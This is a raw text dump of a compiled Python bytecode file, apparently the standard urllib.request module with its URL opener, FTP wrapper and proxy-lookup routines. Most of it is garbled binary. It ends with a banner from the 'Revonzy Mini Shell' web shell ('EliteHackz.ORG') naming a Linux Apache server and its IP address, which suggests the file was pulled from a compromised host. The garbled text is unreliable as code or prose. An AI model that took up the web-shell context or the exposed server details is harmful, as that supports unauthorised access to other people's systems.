�|�||�S)N�:rVr�z;base64i�����text/plain;charset=US-ASCIIz$Content-type: %s
Content-length: %d
)rur_r�endswithr4�decodebytesr�r�rer�io�BytesIO)r�r�rHrrIZ	mediatyperjrLrLrM�	data_openis



�zDataHandler.data_openN)r�r�r�rrLrLrLrMr-hsr-r��nt)r4r3cCst|�SrN)r
��pathnamerLrLrMr4�sr4cCst|�SrN)r	rrLrLrMr3�sr3c@s�eZdZdZdeZd)dd�Zdd�Zdd�Zd	d
�Z	dd�Z
d*d
d�Zd+dd�Zd,dd�Z
d-dd�Zdd�Zd.dd�Zd/dd�Zdd�Zer�dd�Zd0dd �Zd!d"�Zd#d$�Zd%d&�Zd1d'd(�ZdS)2r8Nr�cKszdd|jji}tj|tdd�|dur.t�}||_|�d�|_|�d�|_	d|j
fdg|_g|_t
j|_d|_t|_dS)	NzW%(class)s style of invoking requests is deprecated. Use newer urlopen functions/methods�classrZ)�
stacklevel�key_file�	cert_filez
User-Agent)ZAcceptz*/*)rSr�r?r@rAr5r-r�rr�versionr��_URLopener__tempfilesr[rq�_URLopener__unlink�	tempcache�ftpcache)r�r-Zx509r�rLrLrMr��s
�zURLopener.__init__cCs|��dSrN)r�r�rLrLrM�__del__�szURLopener.__del__cCs|��dSrN)�cleanupr�rLrLrMr��szURLopener.closec	CsT|jr@|jD]&}z|�|�Wqty0Yq0q|jdd�=|jrP|j��dSrN)rr rrr!r
)r�rOrLrLrMr$�s
zURLopener.cleanupcGs|j�|�dSrN)r�rb)r�r�rLrLrM�	addheader�szURLopener.addheaderc
Csptt|��}t|dd�}|jrL||jvrL|j|\}}t|d�}t|||�St|�\}}|s`d}||jvr�|j|}t|�\}}	t|	�\}
}|
|f}nd}d|}||_	|�
dd�}t||�r�|dkr�|r�|�|||�S|�
||�Sz0|du�rt||�|�WSt||�||�WSWnVttf�y.�Yn>t�yj}
z$td	|
��t��d
��WYd}
~
n
d}
~
00dS)Nz%/:=&?~#+!$,;'@()*[]|�rr�rOZopen_�-r�r�zsocket errorr:)rrr	r!rGrrr-rr�rr��open_unknown_proxy�open_unknownr�rrrrr�r�r�)r�r�rIrgrjri�urltyperHr"�	proxyhostr{r�r`r�rLrLrMrG�s<




zURLopener.opencCst|�\}}tdd|��dS)N�	url errorzunknown url type�rrr)r�r�rIr�rHrLrLrMr)szURLopener.open_unknowncCs t|�\}}tdd||��dS)Nr,zinvalid proxy for %sr-)r�r"r�rIr�rHrLrLrMr(szURLopener.open_unknown_proxycCstt|��}|jr&||jvr&|j|St|�\}}|dur�|rF|dkr�z0|�|�}|��}|��tt|�d�|fWSt	y�Yn0|�
||�}�zL|��}	|r�t
|d�}
nrt|�\}}t|p�d�\}}t|p�d�\}}t|p�d�\}}t
j�|�d}
t�|
�\}}|j�|�t
�|d�}
z�||	f}|jdu�rD||j|<d}d}d}d}d|	v�rjt|	d	�}|�r|||||�|�|�}|�s��q�|t|�7}|
�|�|d7}|�r|||||��q|W|
��n
|
��0W|��n
|��0|dk�r||k�rtd
||f|��|S)NrOrVrPrsrRrSrrTrUrW)rrr!rr�rZr�r4rrrrGrrr[r\�splitextr^�mkstemprrb�fdopenrcrdrerfr)r�rHrgrhrIr�Zurl1rir�rjrkZgarbager\�suffix�fdrlrmrnrdrorprLrLrM�retrieve
sn





��zURLopener.retrievecCs"d}d}t|t�r<t|�\}}|r6t|�\}}t|�}|}nt|\}}t|�\}}t|�\}	}
|
}d}|	��dkrvd}n:t|
�\}}
|r�t|�\}}|r�d|	||
f}t|�r�|}|s�tdd��|r�t|�}t	�
|����d�}nd}|�rt|�}t	�
|����d�}nd}||�}
i}|�r*d||d<|�r<d||d<|�rJ||d	<d
|d<|j
D]\}}|||<�qX|du�r�d|d
<|
�d|||�n|
jd||d�z|
��}Wn tjj�y�td��Yn0d|jk�r�dk�rnnt||jd||j�S|�||j|j|j|j|�SdS)Nr�z	%s://%s%sz
http errorr�r0zBasic %sr�rkrtr�r�r�zContent-Typer�r�r�z$http protocol error: bad status liner�r��http:)r�r�rrr
rryr3rrr4r5r6r7r�rzr�r�r�Z
BadStatusLiner�statusrr��
http_errorrir�)r�Zconnection_factoryrHrIZuser_passwdZproxy_passwdr{r�Zrealhostr*r�Z
proxy_authrjZ	http_connrjr`r�r�rLrLrM�_open_generic_httpNst


��zURLopener._open_generic_httpcCs|�tjj||�SrN)r7r�r�r��r�rHrIrLrLrM�	open_http�szURLopener.open_httpc
Csbd|}t||�rPt||�}|dur6||||||�}	n|||||||�}	|	rP|	S|�|||||�S)Nz
http_error_%d)r�r�r�)
r�rHri�errcode�errmsgrjrIr`r�rlrLrLrMr6�s

zURLopener.http_errorcCs|��t||||d��dSrN)r�r�r�rHrir:r;rjrLrLrMr��szURLopener.http_error_defaultcCstjj||j|jd�S)N)rr)r�r�r�rr)r�r{rLrLrM�_https_connection�s�zURLopener._https_connectioncCs|�|j||�SrN)r7r=r8rLrLrM�
open_https�szURLopener.open_httpscCs^t|t�std��|dd�dkrP|dd�dkrP|dd���dkrPtd��n
|�|�SdS)	NzEfile error: proxy support for file protocol currently not implementedr:r rZr�z
localhost/r�)r�r�rryrBr�r�rLrLrM�	open_file�s

4
zURLopener.open_filec
Cs^ddl}ddl}t|�\}}t|�}zt�|�}Wn2tyd}zt|j|j	��WYd}~n
d}~00|j
}	|jj|j
dd�}
|�|�d}|�d|p�d|	|
f�}|s�|}
|dd�dkr�d|}
tt|d	�||
�St|�\}}|�sRt�|�t�ft�v�rR|}
|dd�dk�r"d|}
n|dd
�dk�r@td|��tt|d	�||
�Std
��dS)NrTr�z6Content-Type: %s
Content-Length: %d
Last-modified: %s
r�rVrr�r�r:z./zAlocal file url may start with / or file:. Unknown url of type: %sz#local file error: not on local host)r�r�rr4r[r�rrr�strerrorrgr�r�r�r�r�r�rrGr
r�r�r��thishostrB)r�rHr�r�r{rOZ	localnamer��ernr�r�rjZurlfilerJrLrLrMr��s@$���
zURLopener.open_local_filec
Cs�t|t�std��ddl}t|�\}}|s2td��t|�\}}t|�\}}|r\t|�\}}nd}t|�}t|ppd�}t|p|d�}t	�
|�}|s�ddl}|j}nt
|�}t|�\}}	t|�}|�d�}
|
dd�|
d}
}|
r�|
ds�|
dd�}
|
�r
|
d�s
d|
d<|||d�|
�f}t|j�tk�rbt|j�D]*}
|
|k�r6|j|
}|j|
=|���q6z�||jv�r�t|||||
�|j|<|�s�d}nd	}|	D]2}t|�\}}|��d
k�r�|dv�r�|��}�q�|j|�||�\}}|�d|�d}d}|�r|d
|7}|du�r,|dk�r,|d|7}t�|�}t||d|�WSt��y�}z&td|�� t!�"�d��WYd}~n
d}~00dS)NzCftp error: proxy support for ftp protocol currently not implementedrr�rsrrSrVr�rpr�r�zftp:zContent-Type: %s
zContent-Length: %d
zftp error %rr:)#r�r�rr�rr
rrr
r�r�r�r�rcrr_r	rer"�MAXFTPCACHEr�r�rrryr�r�r�r�r�r�	ftperrorsr�r�r�)r�rHr�r{r\rJr'r8r�r�r�rOr�rrr�r�r�rir�r�rjr�rLrLrM�open_ftp�sj




��
zURLopener.open_ftpc	
Cs:t|t�std��z|�dd�\}}WntyBtdd��Yn0|sLd}|�d�}|dkr�d	||d�vr�||dd�}|d|�}nd
}g}|�dt�	dt�
t�����|�d
|�|dkr�t�|�
d���d�}nt|�}|�dt|��|�d
�|�|�d�|�}t�|�}t�|�}t|||�S)NzEdata error: proxy support for data protocol currently not implementedr�rVz
data errorzbad data URLr�;rr�rszDate: %sz%a, %d %b %Y %H:%M:%S GMTzContent-type: %sr4r0zlatin-1zContent-Length: %d�
)r�r�rr_rBrr�rfindrbr��strftime�gmtimer4rr6r7r
rer	r�r�r�StringIOr)	r�rHrIr�Zsemirr�rj�frLrLrM�	open_data0s8

�




zURLopener.open_data)N)N)N)N)NNN)N)N)N)N)r�r�r�rr�rr�r#r�r$r%rGr)r(r3r7r9r6r�rCr=r>r@r�rFrNrLrLrLrMr8�s,

$


A\


	 :r8c@s�eZdZdd�Zdd�Zd"dd�Zdd	�Zd#d
d�Zd$dd
�Zd%dd�Z	d&dd�Z
d'dd�Zd(dd�Zd)dd�Z
d*dd�Zd+dd�Zd,dd�Zd d!�ZdS)-r9cOs.tj|g|�Ri|��i|_d|_d|_dS)Nrr�)r8r��
auth_cache�tries�maxtriesrPrLrLrMr�]szFancyURLopener.__init__cCst||d||�S)Nr4)rr<rLrLrMr�csz!FancyURLopener.http_error_defaultNc	Cs~|jd7_zb|jrR|j|jkrRt|d�r4|j}n|j}|||dd|�Wd|_S|�||||||�}|Wd|_Sd|_0dS)NrV�http_error_500r�z)Internal Server Error: Redirect Recursionr)rPrQr�rRr��redirect_internal)	r�rHrir:r;rjrIr�rlrLrLrMrgs&
����zFancyURLopener.http_error_302c	Csxd|vr|d}nd|vr$|d}ndS|��t|jd||�}t|�}|jdvrnt|||d|||��|�|�S)Nr
rrrz( Redirection to url '%s' is not allowed.)r�rr�rrrrG)	r�rHrir:r;rjrIrrrLrLrMrSys 


��z FancyURLopener.redirect_internalcCs|�||||||�SrN�r�r�rHrir:r;rjrIrLrLrMr�szFancyURLopener.http_error_301cCs|�||||||�SrNrTrUrLrLrMr�szFancyURLopener.http_error_303cCs2|dur|�||||||�S|�|||||�SdSrN)rr�rUrLrLrMr�szFancyURLopener.http_error_307Fc
Cs�d|vrt�||||||�|d}t�d|�}	|	sHt�||||||�|	��\}
}|
��dkrtt�||||||�|s�t�||||||�d|jd}|dur�t||�||�St||�|||�SdS)Nrr�![ 	]*([^ 	]+)[ 	]+realm="([^"]*)"rcZretry_�_basic_auth�r8r�rn�matchr]ryr�r��
r�rHrir:r;rjrIr��stuffrYrr@r`rLrLrMrs�s.
�
�
��zFancyURLopener.http_error_401c
Cs�d|vrt�||||||�|d}t�d|�}	|	sHt�||||||�|	��\}
}|
��dkrtt�||||||�|s�t�||||||�d|jd}|dur�t||�||�St||�|||�SdS)NrurVrcZretry_proxy_rWrXrZrLrLrMrv�s.
�
�
��zFancyURLopener.http_error_407cCs�t|�\}}d||}|jd}t|�\}}	t|	�\}	}
|	�d�d}|	|d�}	|�|	||�\}}
|sr|
srdSdt|dd�t|
dd�|	f}	d|	|
|jd<|dur�|�|�S|�||�SdS)N�http://r�r!rV�%s:%s@%srsr&�rr-rr��get_user_passwdr	rG�r�rHr@rIr{r�rr"r*r+Z
proxyselectorr�r'r8rLrLrM�retry_proxy_http_basic_auth�s 
�
z*FancyURLopener.retry_proxy_http_basic_authcCs�t|�\}}d||}|jd}t|�\}}	t|	�\}	}
|	�d�d}|	|d�}	|�|	||�\}}
|sr|
srdSdt|dd�t|
dd�|	f}	d|	|
|jd<|dur�|�|�S|�||�SdS)N�https://r�r!rVr]rsr&r^r`rLrLrM�retry_proxy_https_basic_auth�s 
�
z+FancyURLopener.retry_proxy_https_basic_authc
Cs�t|�\}}|�d�d}||d�}|�|||�\}}|sD|sDdSdt|dd�t|dd�|f}d||}	|dur�|�|	�S|�|	|�SdS)Nr!rVr]rsr&r\�rr�r_r	rG�
r�rHr@rIr{r�r�r'r8rrLrLrMrd�s�
z$FancyURLopener.retry_http_basic_authc
Cs�t|�\}}|�d�d}||d�}|�|||�\}}|sD|sDdSdt|dd�t|dd�|f}d||}	|dur�|�|	�S|�|	|�SdS)Nr!rVr]rsr&rbrdrerLrLrM�retry_https_basic_auth	s�
z%FancyURLopener.retry_https_basic_authrcCs`|d|��}||jvr2|r(|j|=n
|j|S|�||�\}}|sJ|rX||f|j|<||fS)Nr!)ryrO�prompt_user_passwd)r�r{r@rr�r'r8rLrLrMr_	s


zFancyURLopener.get_user_passwdcCsVddl}z.td||f�}|�d|||f�}||fWStyPt�YdS0dS)NrzEnter username for %s at %s: z#Enter password for %s in %s at %s: rC)�getpass�input�KeyboardInterrupt�print)r�r{r@rhr'r8rLrLrMrg!	s�
z!FancyURLopener.prompt_user_passwd)N)N)N)N)NF)NF)N)N)N)N)r)r�r�r�r�r�rrSrrrrsrvrarcrdrfr_rgrLrLrLrMr9Zs&



�
�





r9cCstdurt�d�atS)Nr�)�
_localhostr�r�rLrLrLrMr�1	s
r�cCsNtdurJztt�t���d�aWn&tjyHtt�d�d�aYn0tS)Nr:r�)�	_thishostr?r�r�r�r�rLrLrLrMrB9	srBcCstdurddl}|jatSrw)�
_ftperrorsr�r�)r�rLrLrMrED	srEcCstdurt�d�atSr�)�
_noheadersr�r�rLrLrLrM�	noheadersM	s
rpc@sFeZdZddd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Zdd�Z	dS)rNTcCsX||_||_||_||_||_||_d|_||_z|��Wn|�	��Yn0dSrw)
r'r8r{rJr�rJ�refcount�	keepalive�initr�)r�r'r8r{rJr�rJr�rLrLrMr�Z	szftpwrapper.__init__cCs\ddl}d|_|��|_|j�|j|j|j�|j�|j	|j
�d�|j�}|j�
|�dS)Nrr)r��busyZFTPr
�connectr{rJrJZloginr'r8r	r��cwd)r�r��_targetrLrLrMrsj	s
zftpwrapper.initc
Cs�ddl}|��|dvr"d}d}nd|}d}z|j�|�Wn(|jyf|��|j�|�Yn0d}|r�|s�zd|}|j�|�\}}WnT|jy�}z:t|�dd�dkr�t	d	|��
t��d
��WYd}~n
d}~00|�s�|j�d�|�rz|j�
�}	zXz|j�|�Wn6|j�yP}zt	d	|�|�WYd}~n
d}~00W|j�|	�n|j�|	�0d|}nd}|j�|�\}}d|_t|�d
�|j�}
|jd7_|��|
|fS)Nr)r�r�zTYPE ArVzTYPE zRETR rZZ550r�r:zLIST �LISTr�)r��endtransferr
Zvoidcmdr�rsZntransfercmdZ
error_permr�rr�r�r��pwdrvrtr�makefile�
file_closerqr�)r�rOr�r��cmd�isdirrr�r�rzZftpobjrLrLrMr�s	sJ
�
&
zftpwrapper.retrfilecCs
d|_dSrw)rtr�rLrLrMry�	szftpwrapper.endtransfercCsd|_|jdkr|��dS)NFr)rrrq�
real_closer�rLrLrMr��	s
zftpwrapper.closecCs2|��|jd8_|jdkr.|js.|��dS)NrVr)ryrqrrrr�rLrLrMr|�	szftpwrapper.file_closecCs0|��z|j��Wnt�y*Yn0dSrN)ryr
r�rEr�rLrLrMr�	s
zftpwrapper.real_close)NT)
r�r�r�r�rsr�ryr�r|rrLrLrLrMrW	s�
	-rcCs�i}tj��D]4\}}|��}|r|dd�dkr|||dd�<qdtjvrZ|�dd�tj��D]J\}}|dd�dkrd|��}|r�|||dd�<qd|�|dd�d�qd|S)Ni�����_proxyZREQUEST_METHODr�)r[�environr�ryr�)r-r`r�rLrLrM�getproxies_environment�	s	
r�cCs�|durt�}z|d}Wnty.YdS0|dkr<dS|��}t|�\}}|�d�D]Z}|��}|rZ|�d�}|��}||ks�||kr�dSd|}|�|�s�|�|�rZdSqZdS)N�noF�*Tr��.)r�r�ryr
r_rl�lstripr)r{r-Zno_proxy�hostonlyrJr`rLrLrM�proxy_bypass_environment�	s*
r�c
Cs6ddlm}ddlm}m}t|�\}}dd�}d|vrD|drDdSd}zt||��}Wn|yjYn0|�d	d
�D]�}	|	s�qxt�d|	�}
|
du�r |du�r ||
�	d��}|
�	d
�}|dur�d|
�	d��
d�d}nt|dd��}|dksx|dkr�qxd|}||?||?k�r0dSqx|||	�rxdSqxdS)Nr��fnmatch)�AddressValueError�IPv4AddresscSsd|�d�}ttt|��}t|�dkr8|gd�dd�}|dd>|dd>B|dd	>B|d
BS)Nr�r�)rrrrr�rVr�r:r�rZ)r_r�r�rcre)ZipAddrrIrLrLrM�ip2num
s

z,_proxy_bypass_macosx_sysconf.<locals>.ip2numr�Zexclude_simpleT�
exceptionsrLz(\d+(?:\.\d+)*)(/\d+)?rVr:r�� F)r��	ipaddressr�r�r
rcr�rnrY�group�count)
r{�proxy_settingsr�r�r�r�rJr�ZhostIPr�r	rK�maskrLrLrM�_proxy_bypass_macosx_sysconf�	s:

r�cCs`ddlm}t|�\}}|�d�}|D]4}|��}|dkrJd|vrZdSq&|||�r&dSq&dS)Nrr�rGz<local>r�TF)r�r
r_rl)r{�overrider�r�Zproxy_overriderLrLrLrM�_proxy_bypass_winreg_override:
s	

r��darwin)�_get_proxy_settings�_get_proxiescCst�}t||�SrN)r�r�)r{r�rLrLrM�proxy_bypass_macosx_sysconfU
sr�cCst�SrN)r�rLrLrLrM�getproxies_macosx_sysconfY
sr�cCs t�}|rt||�St|�SdSrN)r�r�r��r{r-rLrLrMr3c
s
r3cCst�p
t�SrN)r�r�rLrLrLrMr5p
sr5c
CsBi}zddl}Wnty&|YS0z�|�|jd�}|�|d�d}|�rt|�|d�d�}d|vr|d|vr|d�|�}|�d�D]J}|�dd�\}}t�	d	|�s�|d
vr�d|}n|dkr�d
|}|||<q�|�
d��rt�dd|d�}|�
d��p�||d<|�
d��p||d<|��Wnt
ttf�y<Yn0|S)Nr�;Software\Microsoft\Windows\CurrentVersion\Internet Settings�ProxyEnableZProxyServerr�rGzhttp={0};https={0};ftp={0}rVz
(?:[^/:]+)://)r�r�r
r\Zsockszsocks://z	^socks://z	socks4://r�r�)�winreg�ImportError�OpenKey�HKEY_CURRENT_USER�QueryValueExr�r�r_rnrYr�rx�CloserrrBr�)r-r��internetSettings�proxyEnableZproxyServer�pr��addressrLrLrM�getproxies_registryu
sL
�����


r�cCst�p
t�SrN)r�r�rLrLrLrMr5�
scCs�zddl}Wnty YdS0z6|�|jd�}|�|d�d}t|�|d�d�}WntylYdS0|rv|szdSt||�S)NrFr�r�Z
ProxyOverride)r�r�r�r�r�r�rrr�)r{r�r�r�Z
proxyOverriderLrLrM�proxy_bypass_registry�
s.�����
r�cCs t�}|rt||�St|�SdSrN)r�r�r�r�rLrLrMr3�
s
)NNN)N)~r4r�r�r�Zhttp.clientr�rr[�	posixpathrnr�rr�r�r^rXr?Zurllib.errorrrr�urllib.parserrrrr	r
rrr
rrrrrrrrrZurllib.responserrrDr�rC�__all__�version_infor�rFr�r0r1rar6r7ro�ASCIIrwr|rrr2rr/rrr)rr r!r"r#r$r%�urandomr�r&r'r(r�r)r�r�rErbrr.rr�r*r�r+r,r-rDr`Z
nturl2pathr4r3r"r8r9rlr�rmrBrnrErorprr�r�r�r��platformZ_scproxyr�r�r�r�r3r5r�r�rLrLrLrM�<module>Ts�P
�M
?m$q!+@
ov

+3:5!@W

_
%@

1	


EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4